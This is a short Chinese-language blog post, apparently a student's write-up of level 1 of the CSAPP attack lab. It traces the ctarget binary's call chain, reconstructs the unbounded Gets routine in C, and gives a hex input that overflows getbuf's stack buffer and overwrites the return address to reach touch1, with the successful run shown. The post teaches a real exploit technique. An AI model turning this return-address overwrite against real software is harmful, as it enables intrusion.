attack lab ctarget 1
Published 7/31/2020
Views 15
ctarget
的第一个任务是通过缓冲区溢出,进入代码 touch1
。
首先使用 objdump -d -s ctarget > ctarget.asm
导出 ctarget
的汇编代码。观察代码调用关系,可以发现调用链条为:
main -> stable_launch -> launch -> test -> getbuf -> Gets -> getc
其中,getbuf
里定义了一个栈上的缓冲区,并将其指针传递给了 Gets
(而没有传递缓冲区的大小),因此 Gets
中存在溢出危险。
观察 Gets
部分的汇编代码(0x401a40 - 0x401a91
),可以写出其对应的 c 代码:
int gets_cnt;
File* infile;
void Gets(char* buf) {
gets_cnt = 0;
while (1) {
char c = getc(infile);
if (c == EOF || c == '\n') break;
*buf++ = c;
save_char(c);
}
}
再画出此时的栈布局:
我们可以输入一个 (0x28+0x8)
大小的输入,根据栈从高向低生长的特性,覆盖掉 test
中的返回地址,从而跳转到 touch1
的入口地址:0x4017c0
。
构建输入:
11 12 13 14 15 16 17 18
21 22 23 24 25 26 27 28
31 32 33 34 35 36 37 38
41 42 43 44 45 46 47 48
51 52 53 54 55 56 57 58
c0 17 40 00 00 00 00 00
注意这里默认是小端序,所以要写作 c0 17 40
。
成功:
$ ./ctarget -q -i ctarget.1.input
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
本作品采用 知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可
0 comments